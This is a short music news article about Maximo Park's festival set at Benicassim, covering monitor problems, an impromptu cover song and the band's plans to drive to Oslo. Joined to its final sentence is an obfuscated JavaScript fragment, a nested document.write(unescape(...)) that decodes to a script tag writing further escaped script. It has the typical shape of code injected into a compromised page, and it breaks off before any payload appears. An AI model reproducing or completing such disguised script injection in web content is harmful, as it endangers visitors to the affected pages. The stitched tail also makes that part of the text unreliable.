Maximo Park overcome Benicassim sound problems

Maximo Park were the latest British band to go down a storm at Benicassim as the Spanish festival enters its final lap.

The Geordie oddballs played their second ever Spanish gig, after a show at the Primavera festival earlier in the year, and charmed a crowd of British faithful and European converts with tracks from their album ‘A Certain Trigger'.

But the show was not without its technical problems, as singer Paul Smith told NME.COM afterwards: “The first half was crap because I couldn't hear myself.”

But they found a novel way of solving the problem: “In the second half we did an impromptu version of The Streets' ‘Fit But You Know It' by mistake, just trying to get the monitors right,” he continued. “We were trying to get the sound right onstage so we could actually hear ourselves, so it turned into a bit of a post-pub anthem for about five seconds, and after that everything turned for me.

“My enjoyment of the gig was massive after that. And the crowd were so responsive, every note was sucked in after that. I think halfway through people realised we weren't messing around and this was gonna be hopefully one of their highlights of the weekend.”

And after arriving yesterday, the band made the most of Fiberfib's more unique pleasures. “We had a full run-up last night. There's a free bar so it went pear-shaped really as far as watching bands was concerned. The swimming pool was involved in certain incidents earlier this morning as the dawn broke. Nakedness in the pool, the usual things you might expect a band to get caught up in. It's all a bit rock'n'roll cliché.”

They now face a three-day drive to Oslo, but not before they've caught Nick Cave and the Bad Seeds. “We've got a nice airconditioned bus so I'm gonna get the air con on, get a book out, slap some Prefab Sprout on the stereo and cruise down the highway,” said Paul.document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22